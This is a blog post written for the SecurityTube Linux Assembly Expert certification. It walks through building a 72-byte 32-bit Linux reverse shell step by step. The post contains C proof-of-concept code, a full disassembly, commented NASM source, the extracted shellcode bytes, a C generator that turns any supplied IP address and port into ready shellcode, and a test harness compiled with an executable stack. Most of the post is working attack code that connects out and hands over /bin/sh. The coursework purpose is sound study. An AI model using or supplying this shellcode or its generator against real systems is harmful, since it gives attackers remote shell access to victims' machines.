Introduction
The aim of this assignment is to develop a working reverse shell for the 32bit Linux platform.
I will apply the same approach as for the bind shell:
- Identify suitable proof of concept code
- Reduce the POC to the essence of the required task
- Compile, test and disassemble the POC
- Re-write the POC in assembly
- Optimize shellcode
- Write shellcode wrapper that produces shellcode for any given bind port
- FINAL PRODUCT
1. Identify suitable proof of concept code
Whilst there are numerous reverse shellcodes available on shell-storm.com or exploit.db, I decided to make it a worthwhile exercise to start from scratch to learn the reasoning behind some of the decisions taken in shellcode development.
As basis for my shellcode I picked a classic: conback.c from page 146 of the book “Programming Linux Hacker Tools Uncovered:…” by Ivan Sklyarov:
#include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> int main(int argc, char *argv[]) { int sd; struct sockaddr_in servaddr; if (argc != 3) { printf("Usage: %s <ip> <port>\n", argv[0]); return -1; } daemon(1, 0); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = inet_addr(argv[1]); servaddr.sin_port = htons(atoi(argv[2])); sd = socket(PF_INET, SOCK_STREAM, 0); if (connect(sd, (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0) perror("connect() failed"); dup2(sd, 0); dup2(sd, 1); dup2(sd, 2); execl("/bin/sh", "sh", 0); }
The code works as advertised – It connects back to the IP address and port provided as arguments:
2. Reduce the POC to the essence of the required task
Anticipating the complexity of the dis-assembly, let’s reduce the code by cutting out the non-essential bits and, while we’re at it, let’s resolve the numeric constants to provide more clarity (as defined in sys/socket.h and netinet/in.h):
int main(void) { int sd; char *servaddr = "\x02\x00" // Address family (AF_INET) "\x7A\x69" // port 31337 "\x7F\x00\x00\x01" // 127.0.0.1 "\x00\x00\x00\x00" "\x00\x00\x00\x00"; sd = socket(2, 1, 0); connect(sd, servaddr, 16); dup2(sd, 0); dup2(sd, 1); dup2(sd, 2); execve("/bin/sh", 0, 0); }
Looks much better.
3. Compile, test and disassemble the POC
It still works:
Now, let’s look at the disassembly:
root@kali:~/git/slae-assignment2# objdump -d fin_conback -M intel fin_conback: file format elf32-i386 Disassembly of section .init: 08048328 <_init>: 8048328: 55 push ebp 8048329: 89 e5 mov ebp,esp 804832b: 53 push ebx 804832c: 83 ec 04 sub esp,0x4 804832f: e8 00 00 00 00 call 8048334 <_init+0xc> 8048334: 5b pop ebx 8048335: 81 c3 54 14 00 00 add ebx,0x1454 804833b: 8b 93 fc ff ff ff mov edx,DWORD PTR [ebx-0x4] 8048341: 85 d2 test edx,edx 8048343: 74 05 je 804834a <_init+0x22> 8048345: e8 26 00 00 00 call 8048370 <__gmon_start__@plt> 804834a: 58 pop eax 804834b: 5b pop ebx 804834c: c9 leave 804834d: c3 ret Disassembly of section .plt: 08048350 <dup2@plt-0x10>: 8048350: ff 35 8c 97 04 08 push DWORD PTR ds:0x804978c 8048356: ff 25 90 97 04 08 jmp DWORD PTR ds:0x8049790 804835c: 00 00 add BYTE PTR [eax],al ... 08048360 <dup2@plt>: 8048360: ff 25 94 97 04 08 jmp DWORD PTR ds:0x8049794 8048366: 68 00 00 00 00 push 0x0 804836b: e9 e0 ff ff ff jmp 8048350 <_init+0x28> 08048370 <__gmon_start__@plt>: 8048370: ff 25 98 97 04 08 jmp DWORD PTR ds:0x8049798 8048376: 68 08 00 00 00 push 0x8 804837b: e9 d0 ff ff ff jmp 8048350 <_init+0x28> 08048380 <__libc_start_main@plt>: 8048380: ff 25 9c 97 04 08 jmp DWORD PTR ds:0x804979c 8048386: 68 10 00 00 00 push 0x10 804838b: e9 c0 ff ff ff jmp 8048350 <_init+0x28> 08048390 <execve@plt>: 8048390: ff 25 a0 97 04 08 jmp DWORD PTR ds:0x80497a0 8048396: 68 18 00 00 00 push 0x18 804839b: e9 b0 ff ff ff jmp 8048350 <_init+0x28> 080483a0 <socket@plt>: 80483a0: ff 25 a4 97 04 08 jmp DWORD PTR ds:0x80497a4 80483a6: 68 20 00 00 00 push 0x20 80483ab: e9 a0 ff ff ff jmp 8048350 <_init+0x28> 080483b0 <connect@plt>: 80483b0: ff 25 a8 97 04 08 jmp DWORD PTR ds:0x80497a8 80483b6: 68 28 00 00 00 push 0x28 80483bb: e9 90 ff ff ff jmp 8048350 <_init+0x28> Disassembly of section .text: 080483c0 <_start>: 80483c0: 31 ed xor ebp,ebp 80483c2: 5e pop esi 80483c3: 89 e1 mov ecx,esp 80483c5: 83 e4 f0 and esp,0xfffffff0 80483c8: 50 push eax 80483c9: 54 push esp 80483ca: 52 push edx 80483cb: 68 60 85 04 08 push 0x8048560 80483d0: 68 70 85 04 08 push 0x8048570 80483d5: 51 push ecx 80483d6: 56 push esi 80483d7: 68 ac 84 04 08 push 0x80484ac 80483dc: e8 9f ff ff ff call 8048380 <__libc_start_main@plt> 80483e1: f4 hlt 80483e2: 90 nop 80483e3: 90 nop 80483e4: 90 nop 80483e5: 90 nop 80483e6: 90 nop 80483e7: 90 nop 80483e8: 90 nop 80483e9: 90 nop 80483ea: 90 nop 80483eb: 90 nop 80483ec: 90 nop 80483ed: 90 nop 80483ee: 90 nop 80483ef: 90 nop 080483f0 <deregister_tm_clones>: 80483f0: b8 b7 97 04 08 mov eax,0x80497b7 80483f5: 2d b4 97 04 08 sub eax,0x80497b4 80483fa: 83 f8 06 cmp eax,0x6 80483fd: 77 02 ja 8048401 <deregister_tm_clones+0x11> 80483ff: f3 c3 repz ret 8048401: b8 00 00 00 00 mov eax,0x0 8048406: 85 c0 test eax,eax 8048408: 74 f5 je 80483ff <deregister_tm_clones+0xf> 804840a: 55 push ebp 804840b: 89 e5 mov ebp,esp 804840d: 83 ec 18 sub esp,0x18 8048410: c7 04 24 b4 97 04 08 mov DWORD PTR [esp],0x80497b4 8048417: ff d0 call eax 8048419: c9 leave 804841a: c3 ret 804841b: 90 nop 804841c: 8d 74 26 00 lea esi,[esi+eiz*1+0x0] 08048420 <register_tm_clones>: 8048420: b8 b4 97 04 08 mov eax,0x80497b4 8048425: 2d b4 97 04 08 sub eax,0x80497b4 804842a: c1 f8 02 sar eax,0x2 804842d: 89 c2 mov edx,eax 804842f: c1 ea 1f shr edx,0x1f 8048432: 01 d0 add eax,edx 8048434: d1 f8 sar eax,1 8048436: 75 02 jne 804843a <register_tm_clones+0x1a> 8048438: f3 c3 repz ret 804843a: ba 00 00 00 00 mov edx,0x0 804843f: 85 d2 test edx,edx 8048441: 74 f5 je 8048438 <register_tm_clones+0x18> 8048443: 55 push ebp 8048444: 89 e5 mov ebp,esp 8048446: 83 ec 18 sub esp,0x18 8048449: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 804844d: c7 04 24 b4 97 04 08 mov DWORD PTR [esp],0x80497b4 8048454: ff d2 call edx 8048456: c9 leave 8048457: c3 ret 8048458: 90 nop 8048459: 8d b4 26 00 00 00 00 lea esi,[esi+eiz*1+0x0] 08048460 <__do_global_dtors_aux>: 8048460: 80 3d b4 97 04 08 00 cmp BYTE PTR ds:0x80497b4,0x0 8048467: 75 13 jne 804847c <__do_global_dtors_aux+0x1c> 8048469: 55 push ebp 804846a: 89 e5 mov ebp,esp 804846c: 83 ec 08 sub esp,0x8 804846f: e8 7c ff ff ff call 80483f0 <deregister_tm_clones> 8048474: c6 05 b4 97 04 08 01 mov BYTE PTR ds:0x80497b4,0x1 804847b: c9 leave 804847c: f3 c3 repz ret 804847e: 66 90 xchg ax,ax 08048480 <frame_dummy>: 8048480: a1 90 96 04 08 mov eax,ds:0x8049690 8048485: 85 c0 test eax,eax 8048487: 74 1e je 80484a7 <frame_dummy+0x27> 8048489: b8 00 00 00 00 mov eax,0x0 804848e: 85 c0 test eax,eax 8048490: 74 15 je 80484a7 <frame_dummy+0x27> 8048492: 55 push ebp 8048493: 89 e5 mov ebp,esp 8048495: 83 ec 18 sub esp,0x18 8048498: c7 04 24 90 96 04 08 mov DWORD PTR [esp],0x8049690 804849f: ff d0 call eax 80484a1: c9 leave 80484a2: e9 79 ff ff ff jmp 8048420 <register_tm_clones> 80484a7: e9 74 ff ff ff jmp 8048420 <register_tm_clones> 080484ac <main>: 80484ac: 55 push ebp 80484ad: 89 e5 mov ebp,esp 80484af: 83 e4 f0 and esp,0xfffffff0 80484b2: 83 ec 20 sub esp,0x20 80484b5: c7 44 24 1c f0 85 04 mov DWORD PTR [esp+0x1c],0x80485f0 80484bc: 08 80484bd: c7 44 24 08 00 00 00 mov DWORD PTR [esp+0x8],0x0 80484c4: 00 80484c5: c7 44 24 04 01 00 00 mov DWORD PTR [esp+0x4],0x1 80484cc: 00 80484cd: c7 04 24 02 00 00 00 mov DWORD PTR [esp],0x2 80484d4: e8 c7 fe ff ff call 80483a0 <socket@plt> 80484d9: 89 44 24 18 mov DWORD PTR [esp+0x18],eax 80484dd: c7 44 24 08 10 00 00 mov DWORD PTR [esp+0x8],0x10 80484e4: 00 80484e5: 8b 44 24 1c mov eax,DWORD PTR [esp+0x1c] 80484e9: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 80484ed: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18] 80484f1: 89 04 24 mov DWORD PTR [esp],eax 80484f4: e8 b7 fe ff ff call 80483b0 <connect@plt> 80484f9: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0 8048500: 00 8048501: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18] 8048505: 89 04 24 mov DWORD PTR [esp],eax 8048508: e8 53 fe ff ff call 8048360 <dup2@plt> 804850d: c7 44 24 04 01 00 00 mov DWORD PTR [esp+0x4],0x1 8048514: 00 8048515: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18] 8048519: 89 04 24 mov DWORD PTR [esp],eax 804851c: e8 3f fe ff ff call 8048360 <dup2@plt> 8048521: c7 44 24 04 02 00 00 mov DWORD PTR [esp+0x4],0x2 8048528: 00 8048529: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18] 804852d: 89 04 24 mov DWORD PTR [esp],eax 8048530: e8 2b fe ff ff call 8048360 <dup2@plt> 8048535: c7 44 24 08 00 00 00 mov DWORD PTR [esp+0x8],0x0 804853c: 00 804853d: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0 8048544: 00 8048545: c7 04 24 01 86 04 08 mov DWORD PTR [esp],0x8048601 804854c: e8 3f fe ff ff call 8048390 <execve@plt> 8048551: c9 leave 8048552: c3 ret 8048553: 90 nop 8048554: 90 nop 8048555: 90 nop 8048556: 90 nop 8048557: 90 nop 8048558: 90 nop 8048559: 90 nop 804855a: 90 nop 804855b: 90 nop 804855c: 90 nop 804855d: 90 nop 804855e: 90 nop 804855f: 90 nop 08048560 <__libc_csu_fini>: 8048560: 55 push ebp 8048561: 89 e5 mov ebp,esp 8048563: 5d pop ebp 8048564: c3 ret 8048565: 8d 74 26 00 lea esi,[esi+eiz*1+0x0] 8048569: 8d bc 27 00 00 00 00 lea edi,[edi+eiz*1+0x0] 08048570 <__libc_csu_init>: 8048570: 55 push ebp 8048571: 89 e5 mov ebp,esp 8048573: 57 push edi 8048574: 56 push esi 8048575: 53 push ebx 8048576: e8 4f 00 00 00 call 80485ca <__i686.get_pc_thunk.bx> 804857b: 81 c3 0d 12 00 00 add ebx,0x120d 8048581: 83 ec 1c sub esp,0x1c 8048584: e8 9f fd ff ff call 8048328 <_init> 8048589: 8d bb 04 ff ff ff lea edi,[ebx-0xfc] 804858f: 8d 83 00 ff ff ff lea eax,[ebx-0x100] 8048595: 29 c7 sub edi,eax 8048597: c1 ff 02 sar edi,0x2 804859a: 85 ff test edi,edi 804859c: 74 24 je 80485c2 <__libc_csu_init+0x52> 804859e: 31 f6 xor esi,esi 80485a0: 8b 45 10 mov eax,DWORD PTR [ebp+0x10] 80485a3: 89 44 24 08 mov DWORD PTR [esp+0x8],eax 80485a7: 8b 45 0c mov eax,DWORD PTR [ebp+0xc] 80485aa: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 80485ae: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 80485b1: 89 04 24 mov DWORD PTR [esp],eax 80485b4: ff 94 b3 00 ff ff ff call DWORD PTR [ebx+esi*4-0x100] 80485bb: 83 c6 01 add esi,0x1 80485be: 39 fe cmp esi,edi 80485c0: 72 de jb 80485a0 <__libc_csu_init+0x30> 80485c2: 83 c4 1c add esp,0x1c 80485c5: 5b pop ebx 80485c6: 5e pop esi 80485c7: 5f pop edi 80485c8: 5d pop ebp 80485c9: c3 ret 080485ca <__i686.get_pc_thunk.bx>: 80485ca: 8b 1c 24 mov ebx,DWORD PTR [esp] 80485cd: c3 ret 80485ce: 90 nop 80485cf: 90 nop Disassembly of section .fini: 080485d0 <_fini>: 80485d0: 55 push ebp 80485d1: 89 e5 mov ebp,esp 80485d3: 53 push ebx 80485d4: 83 ec 04 sub esp,0x4 80485d7: e8 00 00 00 00 call 80485dc <_fini+0xc> 80485dc: 5b pop ebx 80485dd: 81 c3 ac 11 00 00 add ebx,0x11ac 80485e3: 59 pop ecx 80485e4: 5b pop ebx 80485e5: c9 leave 80485e6: c3 ret
4. Re-write the POC in assembly
The majority of the POC consists of dynamic library calls, which makes it unsuitable for our purpose (static linking would have resulted in thousands of lines of code). Instead of re-using the POC code I consider a re-write in assembly based on that code much more efficient. Especially given that this program is a simplified form of the bind shell we created in assignment #1.
Let’s list the individual components of this program and write them in assembly:
- Create a socket (line 9)
- Populate a sockaddr_in structure (lines 8-8) and connect through the socket (line 10)
- Move STDIN, STDOUT & STDERR to our socket (lines 12-14)
- Execute /bin/sh (line 15)
To write each of these system calls, I used the following resources:
- Linux man pages for each function describes the function and calling conventions
- The system call table identifies the relevant system call number to use (nicer displayed than in unistd_32.h of the local system)
- System call reference defines that the call number is placed in eax and the parameters are placed in ebx, ecx, edx, esx & edi in order
Let’s go ahead and tackle each portion of the program:
i. Create a socket
Syscall reference: Socket syscalls make use of only one syscall number: SYS_socketcall (0x66) which goes in %eax. The socket functions are identified via a subfunction numbers located in /usr/include/linux/net.h and are stored in %ebx. A pointer to the syscall args is stored in %ecx. Socket syscalls are also executed with int $0x80.
man 2 socketcall explains system call invocation: int socketcall(int call, unsigned long *args);
call determines which socket function to invoke (sub-function number) and is listed in net.h as
#define SYS_SOCKET 1 /* sys_socket(2) */ #define SYS_BIND 2 /* sys_bind(2) */ #define SYS_CONNECT 3 /* sys_connect(2) */ #define SYS_LISTEN 4 /* sys_listen(2) */ #define SYS_ACCEPT 5 /* sys_accept(2) */
man 2 socket lists the arguments pointed to by *args: int socket(int domain, int type, int protocol);
Lets put it together:
- We push the arguments onto the stack in reverse order
- We store 0x1 as sub-function number in bl (instead of ebx to avoid nulls)
- We store the address of the top of the stack (were the arguments start) in ecx
- We store the system call number for 102 in al (for SYS_socketcall)
- We execute int 0x80
- We copy the return value in eax to edi. That is the socket descriptor we’ll need later
; --- socket --- cdq ;clear edx ; push socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=0) parameters push edx ; 0 means protocol determined by server inc edx push edx mov ebx, edx ; store socket call sub function # 1 in bl inc edx push edx mov ecx, esp ; store pointer to arguments in ecx ; issue system call push 0x66 pop eax ; get sys_socketcall system call number into al mov edi, eax ; copy away for later re-use int 0x80 ; execute system call xchg edi, eax ; socket fd in edi, sys_socketcall system call number back in al
That’s all. The socket is ready for use.
ii. Connect via our socket
Next we connect via the newly created socket to an address and port using the same system call as above but with sub-function number “3”.
man 2 connect: int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
We basically repeat the first call with different arguments:
- We push the arguments onto the stack in reverse order
- We store 0x3 as sub-function number in bl
- We store the address of the top of the stack (were the arguments start) in ecx
- The system call number 102 is already in al (for SYS_socketcall) from earlier
- We execute int 0x80
; --- connect --- ; push connect() parameters push 0x0100007F ; 127.0.0.1 push word 0x697A ; port 31337 push word 0x2 ; AF_INET mov ecx, esp ; store pointer to the structure in ecx push 0x10 ; sizeof(struct sockaddr_in) push ecx ; &serv_addr push edi ; our socket descriptor mov ecx, esp ; store pointer to arguments in ecx mov bl, 0x3 ; sub call function number 3 for connect ; issue system call int 0x80 ; execute system call mov al, 0x66 ; store SYS_socketcall system call number in al int 0x80 ; execute system call
Done.
iii. Move STDIN, STDOUT & STDERR to our socket
Syscall reference: dup2 has a system call number 0x3F
man 2 dup2: int dup2(int oldfd, int newfd);
This time we already have the sockfd on top of the stack, we only pop it into ebx, place the old fd in ecx and execute syscall. We’ll do it with a loop to be more efficient:
; Move STDIN, STDOUT & STDERR to our new socket pop ebx ; sockfd is still on the stack xchg ecx, edx ; set loop counter to 2 loop: mov al, 0x3f ; store sys_dup2 system call number in al int 0x80 ; execute system call dec ecx jns loop
Awesome.
vi. Execute /bin/sh via execve
Syscall reference: execve has a system call number 0xB
man 2 execve: int execve(const char *filename, char *const argv[],char *const envp[])
We are going to push a null terminated /bin/sh onto the stack and esp becomes both our pointer to the file name as well as our pointer to argv. We can save some more space by placing a NULL in ecx and edx. This trick works in Linux.
Once done we can put 11 in al and execute int 0x80.
; execute /bin/sh ; execve("/bin/sh", NULL , NULL); cdq ; clear edx mov ecx, edx ; clear ecx push edx ; push NULL termination push 0x68732f2f ; //sh (we can add a slash to make it four non NULL bytes) push 0x6e69622f ; /bin mov ebx, esp ; store address of /bin/sh mov al, 0xb ; store execve system call number in al int 0x80 ; execute system call
Thats it.
Below is the 72 byte shellcode for a reverse shell connecting to 127.0.0.1 on port 31337.
; Filename: reverseshell.nasm ; Author: Re4son re4son [at] whitedome.com.au ; Website: http://www.whitedome.com.au/re4son ; ; Purpose: Reverse shell connecting back to 127.0.0.1:31337 ; 72 Bytes global _start section .text _start: ; --- socket --- cdq ;clear edx ; push socket(AF_INET=2, SOCK_STREAM=1, IPPROTO=0) parameters push edx ; 0 means protocol determined by server inc edx push edx mov ebx, edx ; store socket call sub function # 1 in bl inc edx push edx mov ecx, esp ; store pointer to arguments in ecx ; issue system call push 0x66 pop eax ; get sys_socketcall system call number into al mov edi, eax ; copy away for later re-use int 0x80 ; execute system call xchg edi, eax ; socket fd in edi, sys_socketcall system call number back in al ; --- connect --- ; push connect() parameters push 0x0100007F ; 127.0.0.1 push word 0x697A ; port 31337 push word 0x2 ; AF_INET mov ecx, esp ; store pointer to the structure in ecx push 0x10 ; sizeof(struct sockaddr_in) push ecx ; &serv_addr push edi ; our socket descriptor mov ecx, esp ; store pointer to arguments in ecx mov bl, 0x3 ; sub call function number 3 for connect ; issue system call int 0x80 ; execute system call ; Move STDIN, STDOUT & STDERR to our new socket pop ebx ; sockfd is still on the stack xchg ecx, edx ; set loop counter to 2 loop: mov al, 0x3f ; store sys_dup2 system call number in al int 0x80 ; execute system call dec ecx jns loop ; execute /bin/sh ; execve("/bin/sh", NULL , NULL); cdq ; clear edx mov ecx, edx ; clear ecx push edx ; push NULL termination push 0x68732f2f ; //sh (we can add a slash to make it four non NULL bytes) push 0x6e69622f ; /bin mov ebx, esp ; store address of /bin/sh mov al, 0xb ; store execve system call number in al int 0x80 ; execute system call
5. Optimize shellcode
We optimized it along the way using the experience gained from assignment 1.Nothing more to do.
Lets assemble it and get the shellcode via objdump:
root@kali:~/git/slae-assignment2# ./shell-compile.sh reverseshell [+] Assembling reverseshell.nasm with "nasm -f elf32 -o reverseshell.o reverseshell.nasm" [+] Linking reverseshell.o with "ld -N -o reverseshell reverseshell.o" [+] Generating shellcode via objdump and sed ... [+] 72 bytes shellcode generated: "\x99\x52\x42\x52\x89\xd3\x42\x52\x89\xe1\x6a\x66\x58\x89\xc7\xcd\x80\x97\x68\x7f\x00\x00\x01\x66\x68\x7a\x69\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb3\x03\xcd\x80\x5b\x87\xca\xb0\x3f\xcd\x80\x49\x79\xf9\x99\x89\xd1\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
Voila.
6. Wrapper
The IP address and port are currently hard-coded in the shellcode.
Why don’t we write a c program that substitutes both in the shell code with given command line arguments, i.e. the command
make-revshell –LHOST=192.168.1.12 –LPORT=4444
will create a shellcode that connects back to 192.168.1.12 port 4444.
Let’s go ahead and write a c program to substitute that string with any given port number:
/****************************************************************** * make-revshell -- Program to generate reverse shellcode * * Author : Re4son re4son [ at ] whitedome.com.au * Purpose : generates reverse shell code with * IP address and port given as arguments * Usage : make-revshell --LHOST=<IP address> --LPORT=<port> ******************************************************************/ #include <stdio.h> #include <string.h> #include <getopt.h> int main( int argc, char *argv[] ) { unsigned int port, ip1, ip2, ip3, ip4; unsigned char low,high; char cmdArg[6], *p; char c; int i; int option_index = 0; static const struct option longOpts[] = { {"LHOST", required_argument, NULL, 'i'}, {"lhost", required_argument, NULL, 'i'}, {"LPORT", required_argument, NULL, 'p'}, {"lport", required_argument, NULL, 'p'}, {NULL, 0, NULL, 0} }; port = ip1 = ip2 = ip3 = ip4 =0; while ((c = getopt_long( argc, argv, ":i:p:", longOpts, &option_index )) != -1 ) { switch (c) { case 'i': p = strtok (optarg,"."); if (p) ip1 = atoi(p); else { ip1 = ip2 = ip3 = ip4 =0; break; } p = strtok (NULL,"."); if (p) ip2 = atoi(p); else { ip1 = ip2 = ip3 = ip4 =0; break; } p = strtok (NULL,"."); if (p) ip3 = atoi(p); else { ip1 = ip2 = ip3 = ip4 =0; break; } p = strtok (NULL,"."); if (p) ip4 = atoi(p); else { ip1 = ip2 = ip3 = ip4 =0; break; } break; case 'p': strcpy(cmdArg, optarg); port = atoi(cmdArg); high = port >> 8; low = (port << 8) >> 8; break; default: printf( "\n\tUsage: %s --LHOST=<IP address> --LPORT=<port>\n" "\t or: %s -i <IP address> -p <port>\n\n", argv[0], argv[0] ); return -1; } } if (ip1 == 0 && ip2 == 0 && ip3 == 0 && ip4 == 0){ printf( "\n\tInvalid IP address\n" "\tUsage: %s --LHOST=<IP address> --LPORT=<port>\n\n", argv[0] ); return -1; } else if (ip1 > 254 || ip2 > 254 || ip3 > 254 || ip4 > 254){ printf( "\n\tInvalid IP address\n" "\tUsage: %s --LHOST=<IP address> --LPORT=<port>\n\n", argv[0] ); return -1; } else if (port < 1 || port > 65535){ printf( "\n\tInvalid port number\n" "\tUsage: %s --LHOST=<IP address> --LPORT=<port>\n\n", argv[0] ); return -1; } else { if (high == 0 || low == 0 || ip1 ==0 || ip2 == 0 || ip3 == 0 || ip4 == 0 ){ printf( "\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n" "!! CAUTION: NULL characters detected !!\n" "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"); } printf( "\nShellcode length : 72 bytes\n\n" "IP Address (%03d.%03d.%03d.%03d) : \\x%02x\\x%02x\\x%02x\\x%02x\n" "Bind port (%05d) : \\x%02x\\x%02x\n\n" "\"\\x99\\x52\\x42\\x52\\x89\\xd3\\x42\\x52\\x89\\xe1\"\n" "\"\\x6a\\x66\\x58\\x89\\xc7\\xcd\\x80\\x97\\x68\\x%02x\"\n" "\"\\x%02x\\x%02x\\x%02x\\x66\\x68\\x%02x\\x%02x\\x66\\x6a\\x02\"\n" "\"\\x89\\xe1\\x6a\\x10\\x51\\x57\\x89\\xe1\\xb3\\x03\"\n" "\"\\xcd\\x80\\x5b\\x87\\xca\\xb0\\x3f\\xcd\\x80\\x49\"\n" "\"\\x79\\xf9\\x99\\x89\\xd1\\x52\\x68\\x2f\\x2f\\x73\"\n" "\"\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\"\n" "\"\\xcd\\x80\";\n\n", \ ip1, ip2, ip3, ip4, ip1, ip2, ip3, ip4, \ port, high, low, \ ip1, ip2, ip3, ip4, high, low); return 0; } }
Finished.
Let’s try it out. Run ./make-revshell –LHOST=192.168.12.197 –LPORT=31341,copy & paste the shellcode into shellcode.c and run ./shellcode
/* Compilation: gcc -fno-stack-protector -z execstack shellcode.c -o shellcode */ #include <stdio.h> #include <string.h> unsigned char code[] = \ "\x99\x52\x42\x52\x89\xd3\x42\x52\x89\xe1" "\x6a\x66\x58\x89\xc7\xcd\x80\x97\x68\xc0" "\xa8\x0c\xc5\x66\x68\x7a\x6d\x66\x6a\x02" "\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb3\x03" "\xcd\x80\x5b\x87\xca\xb0\x3f\xcd\x80\x49" "\x79\xf9\x99\x89\xd1\x52\x68\x2f\x2f\x73" "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b" "\xcd\x80"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
Done.
All files are available on github.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE – 674